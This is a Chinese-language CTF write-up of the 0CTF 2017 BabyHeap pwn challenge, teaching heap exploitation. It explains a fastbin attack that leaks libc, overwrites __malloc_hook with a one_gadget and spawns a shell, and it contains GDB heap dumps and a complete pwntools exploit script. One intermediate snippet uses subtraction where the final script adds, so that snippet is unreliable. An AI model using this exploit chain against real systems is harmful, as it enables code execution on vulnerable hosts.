> For the complete documentation index, see [llms.txt](https://firmianay.gitbook.io/ctf-all-in-one/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.10_pwn_0ctf2017_babyheap2017.md). # 6.1.10 pwn 0CTF2017 BabyHeap2017 * [题目复现](#题目复现) * [题目解析](#题目解析) * [漏洞利用](#漏洞利用) * [参考资料](#参考资料) [下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.10_pwn_0ctf2017_babyheap2017) ## 题目复现 这个题目给出了二进制文件。在 Ubuntu 16.04 上，libc 就用自带的。 ``` $ file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped $ checksec -f babyheap RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 babyheap $ file /lib/x86_64-linux-gnu/libc-2.23.so /lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped ``` 64 位程序，保护全开。 把它运行起来： ``` $ socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap & ``` 一个典型的堆利用题目： ``` $ ./babyheap ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 1 // 分配一个指定大小的 chunk Size: 5 Allocate Index 0 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 2 // 将指定大小数据放进 chunk，但似乎没有进行边界检查，导致溢出 Index: 0 Size: 10 Content: aaaaaaaaaa // 10个a 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 1. Allocate // 似乎触发了什么 bug，如果是9个a就没事 2. Fill 3. Free 4. Dump 5. Exit Command: 4 // 打印出 chunk 的内容，长度是新建时的长度，而不是放入数据的长度 Index: 0 Content: aaaaa 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 3 // 释放 chunk Index: 0 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 5 ``` ## 题目解析 根据前面所学的知识，我们知道释放且只释放了一个 chunk 后，该 free chunk 会被加入到 unsorted bin 中，它的 fd/bk 指针指向了 libc 中的 main\_arena 结构。我们已经知道了 Fill 数据的操作存在溢出漏洞，但并没有发现 UAF 漏洞，所以要想泄露出 libc 基址，得利用 Dump 操作。另外内存分配使用了 calloc 函数，这个函数与 malloc 的区别是，calloc 会将分配的内存空间每一位都初始化为 0，所以也不能通过分配和释放几个小 chunk，再分配一个大 chunk，来泄露其内容。 怎么利用 Dump 操作呢？如果能使两个 chunk 相重叠，Free 一个，Dump 另一个，或许可行。 ## 漏洞利用 ### leak libc 还是一样的，为了方便调试，先关掉 ASLR。首先分配 3 个 fast chunk 和 1 个 small chunk，其实填充数据对漏洞利用是没有意义的，这里只是为了方便观察： ```python alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80) fill(0, "A"*16) fill(1, "A"*16) fill(2, "A"*16) fill(3, "A"*16) fill(4, "A"*128) ``` ``` gef➤ x/40gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 0x555555757030: 0x4141414141414141 0x4141414141414141 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 0x555555757050: 0x4141414141414141 0x4141414141414141 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4 0x555555757090: 0x4141414141414141 0x4141414141414141 0x5555557570a0: 0x4141414141414141 0x4141414141414141 0x5555557570b0: 0x4141414141414141 0x4141414141414141 0x5555557570c0: 0x4141414141414141 0x4141414141414141 0x5555557570d0: 0x4141414141414141 0x4141414141414141 0x5555557570e0: 0x4141414141414141 0x4141414141414141 0x5555557570f0: 0x4141414141414141 0x4141414141414141 0x555555757100: 0x4141414141414141 0x4141414141414141 0x555555757110: 0x0000000000000000 0x0000000000020ef1 <-- top chunk 0x555555757120: 0x0000000000000000 0x0000000000000000 0x555555757130: 0x0000000000000000 0x0000000000000000 gef➤ x/20gx 0xafc966564d0-0x10 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> chunk 1 0xafc966564e0: 0x0000000000000010 0x0000555555757030 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> chunk 2 0xafc96656500: 0x0000555555757050 0x0000000000000001 <-- idx 3 -> chunk 3 0xafc96656510: 0x0000000000000010 0x0000555555757070 0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4 0xafc96656530: 0x0000555555757090 0x0000000000000000 0xafc96656540: 0x0000000000000000 0x0000000000000000 0xafc96656550: 0x0000000000000000 0x0000000000000000 ``` 另外我们看到，chunk 的序号被存储到一个 mmap 分配出来的结构体中，包含了 chunk 的地址和大小。程序就是通过该结构体寻找 chunk，然后各种操作的。 free 掉两个 fast chunk，这样 chunk 2 的 fd 指针会被指向 chunk 1： ```python free(1) free(2) ``` ``` gef➤ x/2gx &main_arena 0x7ffff7dd1b20 : 0x0000000000000000 0x0000555555757040 gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757030, size=0x20, flags=PREV_INUSE) gef➤ x/40gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed] 0x555555757030: 0x0000000000000000 0x4141414141414141 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins 0x555555757050: 0x0000555555757020 0x4141414141414141 <-- fd pointer 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4 0x555555757090: 0x4141414141414141 0x4141414141414141 0x5555557570a0: 0x4141414141414141 0x4141414141414141 0x5555557570b0: 0x4141414141414141 0x4141414141414141 0x5555557570c0: 0x4141414141414141 0x4141414141414141 0x5555557570d0: 0x4141414141414141 0x4141414141414141 0x5555557570e0: 0x4141414141414141 0x4141414141414141 0x5555557570f0: 0x4141414141414141 0x4141414141414141 0x555555757100: 0x4141414141414141 0x4141414141414141 0x555555757110: 0x0000000000000000 0x0000000000020ef1 0x555555757120: 0x0000000000000000 0x0000000000000000 0x555555757130: 0x0000000000000000 0x0000000000000000 gef➤ x/20gx 0xafc966564d0-0x10 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0 0xafc966564d0: 0x0000555555757010 0x0000000000000000 0xafc966564e0: 0x0000000000000000 0x0000000000000000 0xafc966564f0: 0x0000000000000000 0x0000000000000000 0xafc96656500: 0x0000000000000000 0x0000000000000001 <-- idx 3 -> chunk 3 0xafc96656510: 0x0000000000000010 0x0000555555757070 0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4 0xafc96656530: 0x0000555555757090 0x0000000000000000 0xafc96656540: 0x0000000000000000 0x0000000000000000 0xafc96656550: 0x0000000000000000 0x0000000000000000 ``` free 掉的 chunk，其结构体被清空，等待下一次 malloc，并添加到空出来的地方。 通过溢出漏洞修改已被释放的 chunk 2，让 fd 指针指向 chunk 4，这样就将 small chunk 加入到了 fastbins 链表中，然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查： ```python payload = "A"*16 payload += p64(0) payload += p64(0x21) payload += p64(0) payload += "A"*8 payload += p64(0) payload += p64(0x21) payload += p8(0x80) fill(0, payload) payload = "A"*16 payload += p64(0) payload += p64(0x21) fill(3, payload) ``` ``` gef➤ x/2gx &main_arena 0x7ffff7dd1b20 : 0x0000000000000000 0x0000555555757040 gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757090, size=0x20, flags=PREV_INUSE) ← [Corrupted chunk at 0x4141414141414151] gef➤ x/40gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed] 0x555555757030: 0x0000000000000000 0x4141414141414141 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins 0x555555757050: 0x0000555555757080 0x4141414141414141 <-- fd pointer 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4 0x555555757090: 0x4141414141414141 0x4141414141414141 0x5555557570a0: 0x4141414141414141 0x4141414141414141 0x5555557570b0: 0x4141414141414141 0x4141414141414141 0x5555557570c0: 0x4141414141414141 0x4141414141414141 0x5555557570d0: 0x4141414141414141 0x4141414141414141 0x5555557570e0: 0x4141414141414141 0x4141414141414141 0x5555557570f0: 0x4141414141414141 0x4141414141414141 0x555555757100: 0x4141414141414141 0x4141414141414141 0x555555757110: 0x0000000000000000 0x0000000000020ef1 0x555555757120: 0x0000000000000000 0x0000000000000000 0x555555757130: 0x0000000000000000 0x0000000000000000 ``` 现在我们再分配两个 chunk，它们都会从 fastbins 中被取出来，而且 new chunk 2 会和原来的 chunk 4 起始位置重叠，但前者是 fast chunk，而后者是 small chunk，即一个大 chunk 里包含了一个小 chunk，这正是我们需要的： ```python alloc(0x10) alloc(0x10) fill(1, "B"*16) fill(2, "C"*16) fill(4, "D"*16) ``` ``` gef➤ x/2gx &main_arena 0x7ffff7dd1b20 : 0x0000000000000000 0x4141414141414141 gef➤ x/40gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed] 0x555555757030: 0x0000000000000000 0x4141414141414141 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1 0x555555757050: 0x4242424242424242 0x4242424242424242 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4, new chunk 2 0x555555757090: 0x4444444444444444 0x4444444444444444 0x5555557570a0: 0x0000000000000000 0x4141414141414141 0x5555557570b0: 0x4141414141414141 0x4141414141414141 0x5555557570c0: 0x4141414141414141 0x4141414141414141 0x5555557570d0: 0x4141414141414141 0x4141414141414141 0x5555557570e0: 0x4141414141414141 0x4141414141414141 0x5555557570f0: 0x4141414141414141 0x4141414141414141 0x555555757100: 0x4141414141414141 0x4141414141414141 0x555555757110: 0x0000000000000000 0x0000000000020ef1 0x555555757120: 0x0000000000000000 0x0000000000000000 0x555555757130: 0x0000000000000000 0x0000000000000000 gef➤ x/20gx 0xafc966564d0-0x10 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1 0xafc966564e0: 0x0000000000000010 0x0000555555757050 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2 0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3 0xafc96656510: 0x0000000000000010 0x0000555555757070 0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4 0xafc96656530: 0x0000555555757090 0x0000000000000000 0xafc96656540: 0x0000000000000000 0x0000000000000000 0xafc96656550: 0x0000000000000000 0x0000000000000000 ``` 可以看到新分配的 chunk 2，填补到了被释放的 chunk 2 的位置上。 再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91，然后为了避免 free(4) 后该 chunk 被合并进 top chunk，需要再分配一个 small chunk： ```python payload = "A"*16 payload += p64(0) payload += p64(0x91) fill(3, payload) alloc(0x80) fill(5, "A"*128) ``` ``` gef➤ x/60gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x4141414141414141 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1 0x555555757050: 0x4242424242424242 0x4242424242424242 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4, new chunk 2 0x555555757090: 0x4444444444444444 0x4444444444444444 0x5555557570a0: 0x0000000000000000 0x4141414141414141 0x5555557570b0: 0x4141414141414141 0x4141414141414141 0x5555557570c0: 0x4141414141414141 0x4141414141414141 0x5555557570d0: 0x4141414141414141 0x4141414141414141 0x5555557570e0: 0x4141414141414141 0x4141414141414141 0x5555557570f0: 0x4141414141414141 0x4141414141414141 0x555555757100: 0x4141414141414141 0x4141414141414141 0x555555757110: 0x0000000000000000 0x0000000000000091 <-- chunk 5 0x555555757120: 0x4141414141414141 0x4141414141414141 0x555555757130: 0x4141414141414141 0x4141414141414141 0x555555757140: 0x4141414141414141 0x4141414141414141 0x555555757150: 0x4141414141414141 0x4141414141414141 0x555555757160: 0x4141414141414141 0x4141414141414141 0x555555757170: 0x4141414141414141 0x4141414141414141 0x555555757180: 0x4141414141414141 0x4141414141414141 0x555555757190: 0x4141414141414141 0x4141414141414141 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 <-- top chunk 0x5555557571b0: 0x0000000000000000 0x0000000000000000 0x5555557571c0: 0x0000000000000000 0x0000000000000000 0x5555557571d0: 0x0000000000000000 0x0000000000000000 gef➤ x/20gx 0xafc966564d0-0x10 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1 0xafc966564e0: 0x0000000000000010 0x0000555555757050 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2 0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3 0xafc96656510: 0x0000000000000010 0x0000555555757070 0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4 0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5 0xafc96656540: 0x0000000000000080 0x0000555555757120 0xafc96656550: 0x0000000000000000 0x0000000000000000 ``` 这时，如果我们将 chunk 4 释放掉，其 fd 指针会被设置为指向 unsorted bin 链表的头部，这个地址在 libc 中，且相对位置固定，利用它就可以算出 libc 被加载的地址： ```python free(4) ``` ``` gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x555555757080, bk=0x555555757080 → Chunk(addr=0x555555757090, size=0x90, flags=PREV_INUSE) gef➤ x/60gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x4141414141414141 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1 0x555555757050: 0x4242424242424242 0x4242424242424242 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4 [be freed], new chunk 2 <-- unsorted bin 0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer 0x5555557570a0: 0x0000000000000000 0x4141414141414141 0x5555557570b0: 0x4141414141414141 0x4141414141414141 0x5555557570c0: 0x4141414141414141 0x4141414141414141 0x5555557570d0: 0x4141414141414141 0x4141414141414141 0x5555557570e0: 0x4141414141414141 0x4141414141414141 0x5555557570f0: 0x4141414141414141 0x4141414141414141 0x555555757100: 0x4141414141414141 0x4141414141414141 0x555555757110: 0x0000000000000090 0x0000000000000090 <-- chunk 5 0x555555757120: 0x4141414141414141 0x4141414141414141 0x555555757130: 0x4141414141414141 0x4141414141414141 0x555555757140: 0x4141414141414141 0x4141414141414141 0x555555757150: 0x4141414141414141 0x4141414141414141 0x555555757160: 0x4141414141414141 0x4141414141414141 0x555555757170: 0x4141414141414141 0x4141414141414141 0x555555757180: 0x4141414141414141 0x4141414141414141 0x555555757190: 0x4141414141414141 0x4141414141414141 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 0x5555557571b0: 0x0000000000000000 0x0000000000000000 0x5555557571c0: 0x0000000000000000 0x0000000000000000 0x5555557571d0: 0x0000000000000000 0x0000000000000000 gef➤ x/20gx 0xafc966564d0-0x10 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1 0xafc966564e0: 0x0000000000000010 0x0000555555757050 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2 0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3 0xafc96656510: 0x0000000000000010 0x0000555555757070 0xafc96656520: 0x0000000000000000 0x0000000000000000 0xafc96656530: 0x0000000000000000 0x0000000000000001 <-- idx 5 -> chunk 5 0xafc96656540: 0x0000000000000080 0x0000555555757120 0xafc96656550: 0x0000000000000000 0x0000000000000000 ``` 最后利用 Dump 操作即可将地址泄漏出来： ```python leak = u64(dump(2)[:8]) libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc __malloc_hook = libc - 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@ one_gadget = libc - 0x4526a ``` ``` [*] leak => 0x7ffff7dd1b78 [*] libc => 0x7ffff7a0d000 [*] __malloc_hook => 0x7ffff7dd1b10 [*] one_gadget => 0x7ffff7a5226a ``` ### get shell 由于开启了 Full RELRO，改写 GOT 表是不行了。考虑用 `__malloc_hook`，它是一个弱类型的函数指针变量，指向 `void * function(size_t size, void * caller)`，当调用 malloc() 时，首先判断 hook 函数指针是否为空，不为空则调用它。所以这里我们传入一个 one-gadget 即可（详情请查看章节4.6）。 首先考虑怎样利用 fastbins 在 `__malloc_hook` 指向的地址处写入 one\_gadget 的地址。这里有一个技巧，地址偏移，就像下面这样构造一个 fake chunk，其大小为 0x7f，也就是一个 fast chunk： ``` gef➤ x/10gx (long long)(&main_arena)-0x30 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b20 : 0x0000000000000000 0x4141414141414141 <-- target 0x7ffff7dd1b30 : 0x0000000000000000 0x0000000000000000 gef➤ x/10gx (long long)(&main_arena)-0x30+0xd 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f <-- fake chunk 0x7ffff7dd1b0d: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x4141414141000000 0x7ffff7dd1b2d: 0x0000000000414141 0x0000000000000000 0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000 ``` 用本地的泄露地址减去 libc 地址得到偏移： ``` [0x00000000]> ?v 0x7ffff7dd1b78 - 0x7ffff7a0d000 0x3c4b78 ``` 之前 free 掉的 chunk 4 一个 small chunk，被添加到了 unsorted bin 中，而这里我们需要的是 fast chunk，所以这里采用分配一个 fast chunk，再释放掉的办法，将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk（当然也要通过 libc 偏移计算出来）： ```python alloc(0x60) free(4) payload = p64(libc + 0x3c4afd) fill(2, payload) ``` ``` gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x5555557570f0, bk=0x5555557570f0 → Chunk(addr=0x555555757100, size=0x20, flags=PREV_INUSE) gef➤ x/60gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x4141414141414141 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1 0x555555757050: 0x4242424242424242 0x4242424242424242 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new chunk 4 [be freed] 0x555555757090: 0x00007ffff7dd1afd 0x0000000000000000 <-- fd pointer 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin 0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5 0x555555757120: 0x4141414141414141 0x4141414141414141 0x555555757130: 0x4141414141414141 0x4141414141414141 0x555555757140: 0x4141414141414141 0x4141414141414141 0x555555757150: 0x4141414141414141 0x4141414141414141 0x555555757160: 0x4141414141414141 0x4141414141414141 0x555555757170: 0x4141414141414141 0x4141414141414141 0x555555757180: 0x4141414141414141 0x4141414141414141 0x555555757190: 0x4141414141414141 0x4141414141414141 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 0x5555557571b0: 0x0000000000000000 0x0000000000000000 0x5555557571c0: 0x0000000000000000 0x0000000000000000 0x5555557571d0: 0x0000000000000000 0x0000000000000000 ``` 连续两次分配，第一次将 fake chunk 添加到 fast bins，第二次分配 fake chunk，分别是 new new chunk 4 和 chunk 6。然后就可以改写 `__malloc_hook` 的地址，将其指向 one-gadget： ```python alloc(0x60) alloc(0x60) payload = p8(0)*3 payload += p64(one_gadget) fill(6, payload) ``` ``` gef➤ x/10gx (long long)(&main_arena)-0x30 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x000000fff7a92a00 0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a5226a 0x0000000000000000 <-- target 0x7ffff7dd1b20 : 0x0000000000000000 0x4141414141414141 0x7ffff7dd1b30 : 0x0000000000000000 0x0000000000000000 gef➤ x/60gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x4141414141414141 0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1 0x555555757050: 0x4242424242424242 0x4242424242424242 0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new new chunk 4 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin 0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5 0x555555757120: 0x4141414141414141 0x4141414141414141 0x555555757130: 0x4141414141414141 0x4141414141414141 0x555555757140: 0x4141414141414141 0x4141414141414141 0x555555757150: 0x4141414141414141 0x4141414141414141 0x555555757160: 0x4141414141414141 0x4141414141414141 0x555555757170: 0x4141414141414141 0x4141414141414141 0x555555757180: 0x4141414141414141 0x4141414141414141 0x555555757190: 0x4141414141414141 0x4141414141414141 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 0x5555557571b0: 0x0000000000000000 0x0000000000000000 0x5555557571c0: 0x0000000000000000 0x0000000000000000 0x5555557571d0: 0x0000000000000000 0x0000000000000000 gef➤ x/30gx 0xafc966564d0-0x10 0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0 0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1 0xafc966564e0: 0x0000000000000010 0x0000555555757050 0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2 0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3 0xafc96656510: 0x0000000000000010 0x0000555555757070 0xafc96656520: 0x0000000000000001 0x0000000000000060 <-- idx 4 -> new new chunk4 0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5 0xafc96656540: 0x0000000000000080 0x0000555555757120 0xafc96656550: 0x0000000000000001 0x0000000000000060 <-- idx 6 -> chunk 6 0xafc96656560: 0x00007ffff7dd1b0d 0x0000000000000000 0xafc96656570: 0x0000000000000000 0x0000000000000000 0xafc96656580: 0x0000000000000000 0x0000000000000000 0xafc96656590: 0x0000000000000000 0x0000000000000000 0xafc966565a0: 0x0000000000000000 0x0000000000000000 ``` 最后，只要调用了 malloc，就会触发 hook 函数，即 one-gadget。现在可以开启 ASLR 了，因为通过泄漏 libc 地址，我们已经完全绕过了它。 Bingo!!! ``` $ python exp.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] leak => 0x7f8c1be9eb78 [*] libc => 0x7f8c1bada000 [*] __malloc_hook => 0x7f8c1be9eb10 [*] one_gadget => 0x7f8c1bb1f26a [*] Switching to interactive mode $ whoami firmy ``` 本题多次使用 fastbin attack，确实经典。 ### exploit 完整的 exp 如下： ```python from pwn import * io = remote('127.0.0.1', 10001) def alloc(size): io.recvuntil("Command: ") io.sendline('1') io.recvuntil("Size: ") io.sendline(str(size)) def fill(idx, cont): io.recvuntil("Command: ") io.sendline('2') io.recvuntil("Index: ") io.sendline(str(idx)) io.recvuntil("Size: ") io.sendline(str(len(cont))) io.recvuntil("Content: ") io.send(cont) def free(idx): io.recvuntil("Command: ") io.sendline('3') io.recvuntil("Index: ") io.sendline(str(idx)) def dump(idx): io.recvuntil("Command: ") io.sendline('4') io.recvuntil("Index: ") io.sendline(str(idx)) io.recvuntil("Content: \n") data = io.recvline() return data alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80) #fill(0, "A"*16) #fill(1, "A"*16) #fill(2, "A"*16) #fill(3, "A"*16) #fill(4, "A"*128) free(1) free(2) payload = "A"*16 payload += p64(0) payload += p64(0x21) payload += p64(0) payload += "A"*8 payload += p64(0) payload += p64(0x21) payload += p8(0x80) fill(0, payload) payload = "A"*16 payload += p64(0) payload += p64(0x21) fill(3, payload) alloc(0x10) alloc(0x10) #fill(1, "B"*16) #fill(2, "C"*16) #fill(4, "D"*16) payload = "A"*16 payload += p64(0) payload += p64(0x91) fill(3, payload) alloc(0x80) #fill(5, "A"*128) free(4) leak = u64(dump(2)[:8]) libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc __malloc_hook = libc + 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@ one_gadget = libc + 0x4526a log.info("leak => 0x%x" % leak) log.info("libc => 0x%x" % libc) log.info("__malloc_hook => 0x%x" % __malloc_hook) log.info("one_gadget => 0x%x" % one_gadget) alloc(0x60) free(4) payload = p64(libc + 0x3c4afd) fill(2, payload) alloc(0x60) alloc(0x60) payload = p8(0)*3 payload += p64(one_gadget) fill(6, payload) alloc(1) io.interactive() ``` ## 参考资料 * [0ctf Quals 2017 - BabyHeap2017](http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) * [how2heap](https://github.com/shellphish/how2heap)